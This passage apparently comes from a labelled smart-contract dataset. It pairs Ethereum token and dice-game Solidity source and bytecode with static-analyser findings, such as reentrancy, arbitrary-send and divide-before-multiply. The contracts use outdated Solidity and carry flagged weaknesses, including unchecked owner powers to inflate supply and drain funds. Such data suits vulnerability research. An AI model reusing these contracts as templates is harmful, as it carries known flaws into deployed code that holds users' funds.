0fd5b8135610de5816116d0565b6000602082840312156114eb57600080fd5b8151610de5816116d0565b60008060006060848603121561150b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561155157858101830151858201604001528201611535565b81811115611563576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115fe5784516001600160a01b0316835293830193918301916001016115d9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116325761163261168f565b500190565b60008261165457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116735761167361168f565b500290565b60008282101561168a5761168a61168f565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461049d57600080fd5b801515811461049d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122066a0c2245b5a4b8f21e1b1b9ae77acd2279f845c2cbe4f1adc8fb7a26d97037d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 696 |
0x76b396e519c09d729b0819aca50373b003acd367 | pragma solidity ^0.4.25;
// 'Electronic Music'
//
// NAME : Electronic Music
// Symbol : EMT
// Total supply: 10,999,999,000
// Decimals : 18
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ElectronicMusic is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "ElectronicMusic";
string public constant symbol = "EMT";
uint public constant decimals = 18;
uint public deadline = now + 35 * 1 days;
uint public round2 = now + 30 * 1 days;
uint public round1 = now + 20 * 1 days;
uint256 public totalSupply = 10999999000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 20000000e18;
uint public target0drop = 30000;
uint public progress0drop = 0;
address multisig = 0x86c7B103c057ff7d3A55E06af777B7bE33E8A900;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 3000000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 5000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610db7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df0565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f7e565b005b3480156102c357600080fd5b506102cc611035565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103b565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c611411565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd60048036038101908080359060200190929190505050611417565b005b3480156103cb57600080fd5b506103d46114e5565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114ea565b005b34801561042357600080fd5b5061042c6116b6565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bc565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae611705565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611710565b005b34801561051d57600080fd5b5061052661177a565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611780565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c611786565b005b34801561058a57600080fd5b5061059361186f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106236118a8565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611970565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a0d565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c48565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c68565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c7b565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d66565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d6c565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df3565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec612038565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b5061091761203e565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612044565b005b34801561097c57600080fd5b506109b36004803603810190808035906020019082018035906020019190919293919293908035906020019092919050505061211b565b005b600080600080600080600080600d60149054906101000a900460ff161515156109dd57600080fd5b6000975060009650600095506706f05b59d3b200009450670de0b6b3a764000093506729a2241af62c00009250670de0b6b3a7640000610a2834600a546121d090919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a9957606460058902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac4576064600a8902811515610abc57fe5b049550610ae1565b8234101515610ae0576064600f8902811515610adc57fe5b0495505b5b5b610b71565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b6b57833410158015610b2d57508234105b15610b49576064600a8902811515610b4157fe5b049550610b66565b8234101515610b65576064600f8902811515610b6157fe5b0495505b5b610b70565b600095505b5b85880196506000881415610c865764746a528800905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610beb5750600b54600c5411155b15610c6a57610bfa8282612208565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c81565b662386f26fc100003410151515610c8057600080fd5b5b610d1b565b600088118015610c9d5750662386f26fc100003410155b15610d03576005544210158015610cb657506007544210155b8015610cc3575060065442105b15610cd857610cd28289612208565b50610cfe565b8434101515610cf157610ceb8288612208565b50610cfd565b610cfb8289612208565b505b5b610d1a565b662386f26fc100003410151515610d1957600080fd5b5b5b600854600954101515610d44576001600d60146101000a81548160ff0219169083151502179055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610dac573d6000803e3d6000fd5b505050505050505050565b6040805190810160405280600f81526020017f456c656374726f6e69634d75736963000000000000000000000000000000000081525081565b6000808214158015610e7f57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e8d5760009050610f78565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdc57600080fd5b610ff18260085461239490919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561105257fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561108e57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110dc57600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561116757600080fd5b6111b983600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135d83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147557600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114e0573d6000803e3d6000fd5b505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154857600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159657600080fd5b3390506115eb82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611643826008546123b090919063ffffffff16565b60088190555061165e826009546123b090919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176c57600080fd5b61177682826123c9565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e557600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561186a573d6000803e3d6000fd5b505050565b6040805190810160405280600381526020017f454d54000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190657600080fd5b600d60149054906101000a900460ff1615151561192257600080fd5b6001600d60146101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119cc57600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b6000604060048101600036905010151515611a2457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a6057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611aae57600080fd5b611b0083600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9583600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60149054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d1e57600080fd5b505af1158015611d32573d6000803e3d6000fd5b505050506040513d6020811015611d4857600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5457600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ef257600080fd5b505af1158015611f06573d6000803e3d6000fd5b505050506040513d6020811015611f1c57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ff457600080fd5b505af1158015612008573d6000803e3d6000fd5b505050506040513d602081101561201e57600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156121185780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217957600080fd5b600090505b838390508110156121ca576121bd848483818110151561219a57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16836123c9565b808060010191505061217e565b50505050565b6000808314156121e35760009050612202565b81830290508183828115156121f457fe5b041415156121fe57fe5b8090505b92915050565b6000600d60149054906101000a900460ff1615151561222657600080fd5b61223b8260095461239490919063ffffffff16565b60098190555061229382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081830190508281101515156123a757fe5b80905092915050565b60008282111515156123be57fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561242557600080fd5b60008111151561243457600080fd5b60085460095410151561244657600080fd5b61249881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f08160095461239490919063ffffffff16565b60098190555060085460095410151561251f576001600d60146101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820186cca876df6cd3070042c9b277d26d1de0d51bd8ff4ff48d9b46527e0c88b430029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 697 |
0xa69d21a791347acb29ec457e9e5bc6e39c1a5c61 | pragma solidity 0.4.24;
// </ORACLIZE_API>
// Minimal required STAKE token interface
contract StakeToken
{
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract StakeDiceGame
{
// Prevent people from losing Ether by accidentally sending it to this contract.
function () payable external
{
revert();
}
///////////////////////////////
/////// GAME PARAMETERS
StakeDice public stakeDice;
// Number between 0 and 10 000. Examples:
// 700 indicates 7% chance.
// 5000 indicates 50% chance.
// 8000 indicates 80% chance.
uint256 public winningChance;
// Examples of multiplierOnWin() return values:
// 10 000 indicates 1x returned.
// 13 000 indicated 1.3x returned
// 200 000 indicates 20x returned
function multiplierOnWin() public view returns (uint256)
{
uint256 beforeHouseEdge = 10000;
uint256 afterHouseEdge = beforeHouseEdge - stakeDice.houseEdge();
return afterHouseEdge * 10000 / winningChance;
}
function maximumBet() public view returns (uint256)
{
uint256 availableTokens = stakeDice.stakeTokenContract().balanceOf(address(stakeDice));
return availableTokens * 10000 / multiplierOnWin() / 5;
}
///////////////////////////////
/////// GAME FUNCTIONALITY
// If we receive approval to transfer a gambler's tokens
/*function receiveApproval(address _gambler, uint256 _amount, address _tokenContract, bytes) external returns (bool)
{
// Make sure that we are receiving STAKE tokens, and not some other token
require(_tokenContract == address(stakeDice.stakeTokenContract()));
require(msg.sender == _tokenContract);
// Make sure the bet is within the current limits
require(_amount >= stakeDice.minimumBet());
require(_amount <= maximumBet());
// Tranfer the STAKE tokens from the user's account to the StakeDice contract
stakeDice.stakeTokenContract().transferFrom(_gambler, stakeDice, _amount);
// Notify the StakeDice contract that a bet has been placed
stakeDice.betPlaced(_gambler, _amount, winningChance);
}*/
///////////////////////////////
/////// OWNER FUNCTIONS
// Constructor function
// Provide a number between 0 and 10 000 to indicate the winning chance and house edge.
constructor(StakeDice _stakeDice, uint256 _winningChance) public
{
// Ensure the parameters are sane
require(_winningChance > 0);
require(_winningChance < 10000);
require(_stakeDice != address(0x0));
require(msg.sender == address(_stakeDice));
stakeDice = _stakeDice;
winningChance = _winningChance;
}
// Allow the owner to change the winning chance
function setWinningChance(uint256 _newWinningChance) external
{
require(msg.sender == stakeDice.owner());
require(_newWinningChance > 0);
require(_newWinningChance < 10000);
winningChance = _newWinningChance;
}
// Allow the owner to withdraw STAKE tokens that
// may have been accidentally sent here.
function withdrawStakeTokens(uint256 _amount, address _to) external
{
require(msg.sender == stakeDice.owner());
require(_to != address(0x0));
stakeDice.stakeTokenContract().transfer(_to, _amount);
}
}
contract StakeDice
{
///////////////////////////////
/////// GAME PARAMETERS
StakeToken public stakeTokenContract;
mapping(address => bool) public addressIsStakeDiceGameContract;
StakeDiceGame[] public allGames;
uint256 public houseEdge;
uint256 public minimumBet;
//////////////////////////////
/////// PLAYER STATISTICS
address[] public allPlayers;
mapping(address => uint256) public playersToTotalBets;
mapping(address => uint256[]) public playersToBetIndices;
function playerAmountOfBets(address _player) external view returns (uint256)
{
return playersToBetIndices[_player].length;
}
function totalUniquePlayers() external view returns (uint256)
{
